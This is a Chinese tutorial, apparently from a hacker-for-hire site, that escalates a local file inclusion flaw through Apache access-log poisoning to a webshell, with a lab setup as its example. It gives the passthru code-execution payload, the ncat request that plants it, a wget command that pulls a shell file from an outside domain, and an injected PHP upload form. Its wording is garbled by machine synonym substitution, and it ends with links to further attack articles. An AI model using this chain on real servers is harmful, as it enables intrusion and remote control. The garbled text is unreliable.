经过APACHE ACCESS LOG来使用LFI缝隙

访客5年前关于黑客接单763

本地文件包括(LFI)缝隙,常被入侵者用来提取站点地点服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即经过本地文件包括来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让咱们步入正题!
设置
我将运用我本地的浸透测验环境设置为例。我当时所运用的web运用程序是Mutillidae。此外,咱们有必要将Apache装备为答应目录遍历。
Options Indexes
show time
首要咱们来寻觅LFI缝隙,点击链接后咱们能够看到如下的url地址:
/index.php?page=
让咱们测验包括一个灵敏文件途径/etc/passwd,看看会发作什么。如下:
/index.php?page=/etc/passwd

居然成功读取到了文件内容!这也为咱们验证了该运用的确存在本地文件包括缝隙。接下来咱们来包括Apache access log,看看是否也能拜访到其间的内容。
拜访日志的方位和文件名在不同的体系上会有所差异,在我的体系上是/var/log/apache2/access.log。将url修正如下:
/index.php?page=/var/log/apache2/access.log

太棒了!拜访日志的内容也成功被加载。
经过以上的开始验证,现在是时分进入到咱们的第二阶段了。
Apache拜访日志的运用
在此之前,你有必要要对Apache日志有所了解。
服务器拜访日志记载服务器处理的一切恳求。
参阅来历:http://httpd.apache.org/docs/1.3/logs.html#accesslog
这也意味着咱们发送到服务器上的任何恳求都将会被保存到这儿。
首要咱们翻开一个终端,然后运用netcat向服务器发送一个GET恳求。咱们之所以没有运用浏览器发送此恳求,是因为它会对咱们的恳求进行url编码,这将导致它无法正常作业。咱们注入的代码如下:
 passthru($_GET['cmd']); ?>
关于passthru()函数:
passthru – 履行外部程序并显现原始输出
参阅来历:http://php.net/passthru
要运用netcat发送恳求,咱们需要在终端中履行以下操作:
ncat 192.168.56.101 80
然后咱们键入以下内容:
GET / passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
注:这儿你有必要将192.168.56.101更改为你方针的IP地址。这是我虚拟机的IP地址。
终究看起来应该像下面这样:
$ ncat 192.168.56.101 80
GET / HTTP/1.1
Host: 192.168.56.101
Connection: close
 
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
 
404 Not Found
Not Found
 
The requested URL /
现在让咱们来验证下咱们的注入是否有用,回来浏览器并向URL增加一个新参数:
cmd=
在咱们的比如中,我将运用id指令:
/index.php?page=/var/log/apache2/access.log&cmd=id
现在,咱们来看看咱们得到的输出。 仔细看,你会看到相似于红框标示的内容:

咱们的指令在服务器上成功被履行!
下面是咱们的重头戏,即获取服务器的浏览器shell。这儿有两种办法,之一种是运用wget,第二种是注入上传表单。咱们先来介绍之一种。
运用wget
Wget是一个文件下载指令。尽管并非总是那么有用,但作为最简略的办法是咱们首要需要去测验的。将cmd参数更改如下:
&cmd=wget http://somedomain.com/shellfile.php
这将把shellfile.php下载到服务器,并将其保存在当时的作业目录中(假如可读的话)。假如你想要将它保存在其它方位,你能够参阅wget手册。经过这种办法,能够为你省去上传表单的中心进程。
上传表单
假如wget不起作用,咱们能够运用上传表单这种办法。咱们将在服务器上履行echo指令,该指令将会将咱们的恣意内容写入到文件。将cmd参数更改如下:
"multipart/form-data" ACTION= echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: "userfile" TYPE="file">"submit" VALUE="Send"> move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
这将在服务器上创立一个带有上传表单的文件。然后咱们在浏览器中翻开该上传页面,上传咱们的浏览器shell。
如下所示,咱们成功上传了b374k shell。

进程回忆
1.经过获取passwd,hosts等文件来验证LFI缝隙;
2.经过LFI缝隙获取Apache日志拜访;
3.运用netcat或相似东西发送歹意恳求;
4.经过测验id,whoami等简略指令来验证代码履行;
5.运用wget或将上传表单写入服务器,将浏览器shell增加到服务器上;
6.拜访浏览器shell验证是否成功。
总结
尽管这自身并不是一个超高危险的缝隙,但在被正确运用的情况下也可能会带来巨大的安全要挟。
 

相关文章

基于排序的SQL猜解问题-黑客接单平台

问题的发现 最近在对公司后台代码安全审计的过程中,发现了一种有意思的缝隙类型,一种依据排序的SQL猜解进犯问题,咱们且抽一段片段代码来看一下 "queryUsers" resultType="com....

PHP序列化与反序列化解读

花费了点时刻研讨了下PHP序列化,写在这儿。一是便利自己知识点回忆,二是协助相同有疑问的人,欢迎纠正过错,不喜勿喷. 0×01.确认装备文件 首要体系运用的ubuntu apt-get install...

ASIS CTF - 三个魔法Web关WriteUp

榜首眼看这个应战,通常是过滤一些字符或许添加一些约束来阻挠指令履行,我经过输入&id到addr域,成功回来履行成果,能够确认这是一道指令履行的应战题。 下一步咱们来找出过滤和约束。经过测验,咱...

实例解说False盲注根底原理

0×01 前语 false盲注有些时分能够绕过一些WAF,也是简略被忽视的细节。本文的意图在于经过做CTF的一起来学习注入原理,一起也运用到本身的才能。这儿仅仅简略说一些我自己的了解,或许网上有更好的...

秒爆十万字典:奇葩技巧快速枚举“一句话后门”暗码

关于一句话咱们都不生疏,有时会需求爆炸。爆炸的速度和方针的响应速度就有很大的关系了。那假如咱们爆炸的速度能够提高至少1000倍呢? 首要如下图↓ 变量=echo “ok”; 假如这个变量等于暗码的时分...

新手攻略:DVWA-1.9全等级教程之CSRF

现在,最新的DVWA现已更新到1.9版别(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版别,并且没有针对DVWA high等级的教程,因而萌发了一个编撰新手教程的主意,过错...